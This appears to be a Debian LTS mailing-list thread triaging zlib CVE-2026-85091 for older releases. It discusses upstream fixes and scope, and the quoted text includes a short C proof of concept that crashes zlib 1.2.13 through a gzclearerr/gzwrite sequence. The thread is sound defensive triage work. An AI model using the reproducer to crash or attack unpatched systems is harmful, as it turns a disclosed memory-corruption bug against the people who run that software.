Short Update: the below poc stop crashing when applying the upstream fix for CVE-2026-85091 [1]. Additionally, there are many upstream marked as "fixed with df84af2", e.g. some of the issues in the table of [2], e.g upstram issues #1256, #1286, #1292, #1302, #1307 [3], so this fix caused a lot of issues.
CVE-2026-85091 defined its scope to the non-blocking calls, however whether the non-non-blocking issues will have a dedicated CVE will depend on upstream view on this issue. For LTS/ELTS I will at this time go with CVE-2026-85091 when preparing the updates, but the first step will be to fix unstable. [1] https://github.com/madler/zlib/commit/df84af2 [2] https://github.com/madler/zlib/issues/1292#issuecomment-5562455575 -- Cheers, tobi On Sun, Oct 04, 2026 at 10:13:30AM +0200, Tobias Frost wrote: > Hi Frontdesk, > > Update: I've continued investigating CVE-2026-85091 in zlib and need to > revise my previous assessment. > > My initial analysis found that the non-blocking gz* functionality used by > the CVE is not present in the versions shipped in LTS and ELTS. However, > further investigation showed that older versions can also be made to > segfault through a different error path. I have not yet established > whether this is the same underlying corruption as CVE-2026-85091, but > it seems likely. > > The following PoC segfaults with zlib 1.2.13. Without the gzclearerr() > call, the second gzwrite() is rejected because the stream is in an error > state: > > > #include <zlib.h> > #include <fcntl.h> > #include <unistd.h> > #include <stdlib.h> > #include <stdio.h> > > int main(void) > { > int fd = open("/dev/null", O_RDONLY); > > gzFile gz = gzdopen(fd, "wT"); > char big[65536]; > char small[64] = "AAAA"; > > for (int i = 0; i < sizeof(big); i++) > big[i] = (char)rand(); > > int ret = gzwrite(gz, big, sizeof(big)); > printf("first gzwrite(): %d\n", ret); > > gzclearerr(gz); > > ret = gzwrite(gz, small, sizeof(small)); > printf("second gzwrite(): %d\n", ret); > > gzclose(gz); > return 0; > } > > I'm going to investigate further, I'll update again once I have a > clearer assessment. > > (It may also be worth clarifying with upstream whether this is considered > part of CVE-2026-85091 or a separate issue requiring a new CVE, since the > reproducer works on versions predating the non-blocking gz* support.) > > Cheers, > -- > tobi > > > On Sat, Oct 03, 2026 at 07:20:19PM +0200, Tobias Frost wrote: > > Hi Frontdesk, > > > > I was working on zlib and after triaging it for LTS and ELTS I suggest > > to remove it from dla/ela-needed for the time being: > > > > After triaging CVE-2026-85091 I've found it does not affect LTS and > > older, the only remaining CVE, CVE-2026-27171 [1], is already marked as > > "postponed" > > in the ELTS security tracker. > > > > I suggest postponing the zlib security update for bullseye and older > > releases. > > > > If you agree, please let me know and I'll remove it from dla/ela-needed. > > > > > > Cheers, > > -- > > tobi > > > >
